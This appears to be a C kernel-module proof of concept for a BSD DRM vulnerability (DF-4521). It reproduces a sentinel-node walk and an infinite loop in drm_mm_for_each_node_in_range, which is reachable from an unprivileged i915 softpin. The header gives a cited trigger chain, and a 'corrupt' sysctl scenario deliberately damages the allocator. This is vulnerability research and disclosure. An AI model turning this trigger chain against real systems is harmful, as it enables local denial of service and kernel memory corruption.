/*
 * DF-4521 PoC — drm_mm_for_each_node_in_range yields the unallocated
 * head_node sentinel into the caller's loop body and never terminates
 * when `end` > mm end.
 *
 * Trigger chain (all paths cited against this tree):
 *   - unprivileged execbuf2 with EXEC_OBJECT_PINNED at offset =
 *     vm->total - obj_size (softpin; accepted on any gen:
 *     i915_gem_execbuffer.c:461-463 only checks alignment/canonical form;
 *     i915_gem_execbuffer.c:614-615 turns it into PIN_OFFSET_FIXED)
 *   - i915_vma_pin(PIN_OFFSET_FIXED) -> i915_gem_gtt_reserve()
 *     (i915_gem_gtt.c:3949-3975) with node ending exactly at vm->total
 *   - drm_mm_reserve_node() returns -ENOSPC when the range is occupied
 *   - i915_gem_evict_for_node() (i915_gem_evict.c:277):
 *       check_color = vm->mm.color_adjust  (set on !HAS_LLC &&
 *       !USES_PPGTT platforms, i915_gem_gtt.c:3638-3639)
 *       end += I915_GTT_PAGE_SIZE          (i915_gem_evict.c:296)
 *     => end == vm->total + 4K > head_node.start == vm->total
 *   - drm_mm_for_each_node_in_range (drm_mm.h:499-502) then:
 *       (a) walks past the last real node onto &mm->head_node
 *           (allocated=false, color=0) — the caller body does
 *           vma = container_of(node, i915_vma, node) on kernel-owned memory
 *       (b) wraps back to the first node and never terminates
 *
 * This kld embeds the REAL sys/dev/drm/drm_mm.c and the REAL
 * drm_mm_for_each_node_in_range macro and drives them with the exact
 * parameters i915 would use. Scenario "run" proves (a)+(b) with a capped
 * iteration count. Scenario "corrupt" performs what i915_vma_unbind()
 * would do with the yielded sentinel (i915_vma.c:687-695:
 * GEM_BUG_ON is a no-op in release builds, then
 * drm_mm_remove_node(&vma->node) == drm_mm_remove_node(&mm->head_node))
 * to demonstrate the resulting allocator corruption.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/sysctl.h>

#include <drm/drm_mm.h>

/*
 * drm_mm.c:52 references this extern (defined in drm_drv.c inside drm.ko,
 * not loaded on this guest) — provide a local definition so the kld links.
 * Same for the linux rbtree shim's RB_GENERATE functions (normally in
 * sys/dev/drm/linux_compat.c, also part of drm.ko).
 */
int drm_vma_debug;

RB_GENERATE(linux_root, rb_node, __entry, panic_cmp);

int
panic_cmp(struct rb_node *one, struct rb_node *two)
{
	panic("panic_cmp");
	/* NOTREACHED */
	return (0);
}

/*
 * drm_printf() lives in drm_print.c inside drm.ko (not loaded); provide a
 * minimal console implementation so drm_mm.c (drm_mm_print) links.
 */
void
drm_printf(struct drm_printer *p, const char *f, ...)
{
	__va_list ap;

	__va_start(ap, f);
	kvprintf(f, ap);
	__va_end(ap);
}

#define GGTT_TOTAL	(1ULL << 32)	/* typical 4GiB GGTT */
#define PAGE_4K		4096ULL

static struct drm_mm mm;

static int
run_evict_for_node_walk(u64 target_start, u64 target_size,
			int check_color, int cap,
			int *visited, int *head_yielded, int *non_terminating)
{
	struct drm_mm_node *node;
	u64 start = target_start;
	u64 end = target_start + target_size;
	int n = 0;

	*visited = 0;
	*head_yielded = 0;
	*non_terminating = 0;

	/* verbatim i915_gem_evict.c:292-296 */
	if (check_color) {
		if (start)
			start -= PAGE_4K;
		end += PAGE_4K;
	}

	kprintf("[dfmm] walk [%llx, %llx) on mm [0, %llx), mm end = %llx\n",
	    (unsigned long long)start, (unsigned long long)end,
	    (unsigned long long)GGTT_TOTAL,
	    (unsigned long long)GGTT_TOTAL);

	/* verbatim i915_gem_evict.c:314 */
	drm_mm_for_each_node_in_range(node, &mm, start, end) {
		n++;
		kprintf("[dfmm]   visit %d: start=%llx size=%llx "
		    "allocated=%d color=%lu%s\n",
		    n, (unsigned long long)node->start,
		    (unsigned long long)node->size,
		    (int)node->allocated, (unsigned long)node->color,
		    node == &mm.head_node ? "   <== HEAD SENTINEL" : "");
		if (node == &mm.head_node)
			*head_yielded = 1;
		if (n >= cap) {
			*non_terminating = 1;	/* same nodes repeat forever */
			break;
		}
		/*
		 * The real body container_of()s this node into an i915_vma
		 * and pins/lists/unbinds it. NOT executed here.
		 */
	}
	*visited = n;
	return 0;
}

static int
dfmm_setup(void)
{
	static struct drm_mm_node top, mid;
	int ret;

	drm_mm_init(&mm, 0, GGTT_TOTAL);

	/* an existing vma parked at the very top of the GGTT */
	top.start = GGTT_TOTAL - PAGE_4K;
	top.size = PAGE_4K;
	ret = drm_mm_reserve_node(&mm, &top);
	kprintf("[dfmm] reserved top node [%llx + %llx] -> %d\n",
	    (unsigned long long)top.start, (unsigned long long)top.size, ret);
	if (ret)
		return ret;

	/* an unrelated low vma (so the wrap-around is observable) */
	mid.start = 0x10000000;
	mid.size = PAGE_4K;
	ret = drm_mm_reserve_node(&mm, &mid);
	kprintf("[dfmm] reserved mid node [%llx + %llx] -> %d\n",
	    (unsigned long long)mid.start, (unsigned long long)mid.size, ret);
	return ret;
}

static int
dfmm_run(void)
{
	int visited = 0, head = 0, loop = 0;

	kprintf("[dfmm] === scenario: evict_for_node top-of-GTT walk ===\n");
	if (dfmm_setup())
		return EINVAL;

	/* attacker softpin overlapping the top node, ending at vm.total */
	run_evict_for_node_walk(GGTT_TOTAL - PAGE_4K, PAGE_4K,
	    1 /* check_color */, 8, &visited, &head, &loop);

	kprintf("[dfmm] RESULT: visited=%d head_sentinel_yielded=%d "
	    "non_terminating=%d\n", visited, head, loop);
	return 0;
}

static int
dfmm_corrupt(void)
{
	kprintf("[dfmm] === scenario: what i915_vma_unbind does with the "
	    "yielded sentinel ===\n");
	if (dfmm_setup())
		return EINVAL;

	kprintf("[dfmm] calling drm_mm_remove_node(&mm.head_node) "
	    "(== i915_vma.c:695 on the container_of'ed sentinel)\n");
	drm_mm_remove_node(&mm.head_node);
	kprintf("[dfmm] survived remove of sentinel; probing corrupted state\n");

	/* Probe 1: range query over the *mid* node's own range — if the
	 * interval tree was wiped, the walk yields nothing but the sentinel. */
	{
		int visited = 0, head = 0, loop = 0;
		kprintf("[dfmm] probe: walk the mid node's own range "
		    "[10000000, 10001000)\n");
		run_evict_for_node_walk(0x10000000, PAGE_4K,
		    0 /* no +4K expansion */, 6, &visited, &head, &loop);
		kprintf("[dfmm] probe result: visited=%d head_sentinel=%d "
		    "(mid node %s)\n", visited, head,
		    head && visited <= 2 ? "INVISIBLE: interval tree wiped" :
		    "still visible");
	}

	/* Probe 2: does the allocator still hand out space while blind?
	 * (overlapping allocations become possible once nodes are invisible
	 * to reserve/evict range checks) */
	{
		static struct drm_mm_node again;
		int ret = drm_mm_insert_node(&mm, &again, PAGE_4K);
		kprintf("[dfmm] probe: insert_node(4K) after corruption -> %d "
		    "(start=%llx size=%llx)\n", ret,
		    (unsigned long long)again.start,
		    (unsigned long long)again.size);
	}

	/* Probe 3: dump the hole list — expect the bogus size-underflowed
	 * hole created by add_hole(prev_node) in drm_mm_remove_node(). */
	{
		struct drm_mm_node *pos;
		u64 hs, he;
		kprintf("[dfmm] probe: hole stack after corruption\n");
		drm_mm_for_each_hole(pos, &mm, hs, he) {
			kprintf("[dfmm]   hole [%llx, %llx) size=%llx%s\n",
			    (unsigned long long)hs,
			    (unsigned long long)he,
			    (unsigned long long)(he - hs),
			    (hs > he) ? "   <== SIZE UNDERFLOW (bogus)" : "");
		}
	}
	return 0;
}

static int
sysctl_dfmm(SYSCTL_HANDLER_ARGS, int (*fn)(void))
{
	int error, t = 0;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error || req->newptr == NULL)
		return error;
	if (t != 1)
		return EINVAL;
	fn();
	return 0;
}

static int sysctl_dfmm_run(SYSCTL_HANDLER_ARGS)
{ return sysctl_dfmm(oidp, arg1, arg2, req, dfmm_run); }

static int sysctl_dfmm_corrupt(SYSCTL_HANDLER_ARGS)
{ return sysctl_dfmm(oidp, arg1, arg2, req, dfmm_corrupt); }

SYSCTL_NODE(_dev, OID_AUTO, dfmm, CTLFLAG_RW, 0, "dfmm poc");

SYSCTL_PROC(_dev_dfmm, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_dfmm_run, "I", "trigger sentinel-walk scenario");
SYSCTL_PROC(_dev_dfmm, OID_AUTO, corrupt, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_dfmm_corrupt, "I", "trigger sentinel-remove scenario");

static int
dfmm_poc_modevent(module_t mod __unused, int type, void *data __unused)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("[dfmm] dfmm_poc loaded\n");
		return 0;
	case MOD_UNLOAD:
		kprintf("[dfmm] dfmm_poc unloaded\n");
		return 0;
	default:
		return 0;
	}
}

static moduledata_t dfmm_poc_mod = {
	"dfmm_poc", dfmm_poc_modevent, NULL
};
DECLARE_MODULE(dfmm_poc, dfmm_poc_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);